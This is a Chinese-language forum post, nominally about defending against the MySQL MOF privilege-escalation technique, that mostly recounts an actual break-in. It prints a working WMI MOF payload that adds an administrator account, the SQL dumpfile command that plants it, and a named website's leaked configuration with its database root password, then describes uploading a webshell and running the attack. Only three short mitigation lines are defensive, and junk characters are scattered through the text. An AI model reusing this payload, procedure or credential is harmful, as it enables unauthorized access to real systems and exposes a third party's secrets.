Mysql mof扩展漏洞防范方法" ^! J6 L! B- F8 A
) n4 q# u( p( }: [
网上公开的一些利用代码:
4 Z6 }, b0 Q; b* C( U4 e0 I% C+ @0 }9 I _, V3 h; d0 Y+ D5 N: _
#pragma namespace(“\\\\.\\root\\subscription”)# j: j& w& L+ O* D. ^
1 [3 D5 h& E% m* U; `& S+ s \! binstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
( W3 v! W( b% A; [! O: d3 U% E+ o; l4 `4 s& _+ t* {( Z
6 ?" j. W) T" a& {
# K, K. ]0 o8 @& ^; \# R, }
$ P) o/ J0 n4 w$ X2 i" u& ]% c0 Q4 Y. h# G5 f. r. D, d
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- _% ^2 i% @( p( p4 b8 L& v& w% C* o从上面代码来看得出解决办法:! t, l5 l! _: o% g+ o$ h
# {9 \# ]8 ?# A+ C1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数* K0 A' g; V9 ^9 A3 w8 a5 j( d. W; Y
3 I% c. a; e9 f2、禁止使用”WScript.Shel”组件( ~5 V! U( A5 I" y6 Y
' @: D F8 c& j. o8 P8 V6 P3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
6 g* ~: |( y8 A, M. w5 N8 x, u3 R* k' B' Q
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下3 ^0 y3 ` |" Z
& T" O) U) b; ]8 Z/ m事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权/ ^" n* G' t, B; d8 K* }" p
6 [6 F, T8 J! i6 i# D, C
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
2 I6 y$ m; S+ H, ?: T+ a8 E# q+ `5 i( ^3 [; I# u+ v
看懂了后就开始练手吧5 w* \3 Q5 h! X" T( q* } |+ S; S
, |3 C. T4 t2 N$ n" @, ohttp://www.webbmw.com/config/config_ucenter.php 一句话 a! v, L& q( E, S8 S: o# b2 U7 `
: N. t/ u& n1 v1 _4 c; ~- r$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。5 d j6 ^! L) y; Q# t1 {( \
: w& `6 L* E6 @$ h$ o) e
于是直接用菜刀开搞! w% e% V9 D! N1 M- O- K7 t9 I7 L
+ `! S$ ]5 I" g/ l2 J6 M0 m上马先
, ]) J2 T7 ^$ _& @% N# Z- s$ [4 e8 s/ P: r: `+ |) V
既然有了那些账号 之类的 于是我们就执行吧…….4 y3 H$ M8 K) z* V2 `6 I+ h2 a
% ?* T" p9 J; [1 ~# L' |
小小的说下
6 }- W" Z$ B2 W3 r; V. \, y$ |( c' [9 ?% p2 o. q" _ S/ o
在这里第1次执行未成功 原因未知
/ v* m3 ^- S8 z* }, M: }6 Y
. {7 u0 O1 }& c+ }. O! c我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
& E9 i) d2 C8 B9 O5 ]* b. N2 @
3 x& e: |5 l- C8 N#pragma namespace(“\\\\.\\root\\subscription”)- u1 ]. M2 {0 |6 M9 |
% v1 \$ w, x0 Z' s; Uinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };1 h# x T" a8 w8 f7 \+ u5 [9 G
) M( @" w0 l+ u" l我是将文件放到C:\WINDOWS\temp\1.mof
7 X/ M I& H. b: w0 [7 Z
4 y2 w3 c- T+ a7 V3 B$ v$ Z所以我们就改下执行的代码; y& F0 I# J4 Z3 x$ h+ p1 s! f
' _+ e8 E0 L) d* r$ k+ wselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" f! Z2 Y& U# U x$ s" W# G+ C" x+ [: _3 i) S
+ h# R- T* ^3 ]. P9 z/ v! }4 M$ c5 B N* k! z) D( l
但是 你会发现账号还是没有躺在那里。。/ ]1 P6 Q- C0 i1 _) p) h
q! \: j1 C% Y% K) ^- I9 O
于是我就感觉蛋疼
}" }7 |/ B/ R$ I, T
8 r- n; x6 I8 C0 ?) S! L就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* w* [% c0 ~0 U0 W% R) q
( u! P8 n8 O B( r2 F
8 |- x# J/ i" s7 f
3 R& o$ y- D, J/ M* L3 s但是其他库均不成功…. }" K; |+ s5 M' a+ ~% d2 P: }' S6 B
, [% R! G$ z! R7 m/ q6 B3 S我就很费解呀 到底为什么不成功求大牛解答…
5 c: f5 D8 X3 [4 j+ p
0 ?. |$ o1 }0 j& Y w8 c# j% a$ @: I, A0 @0 v
( ]. b& |7 C" r! Z, U3 Y |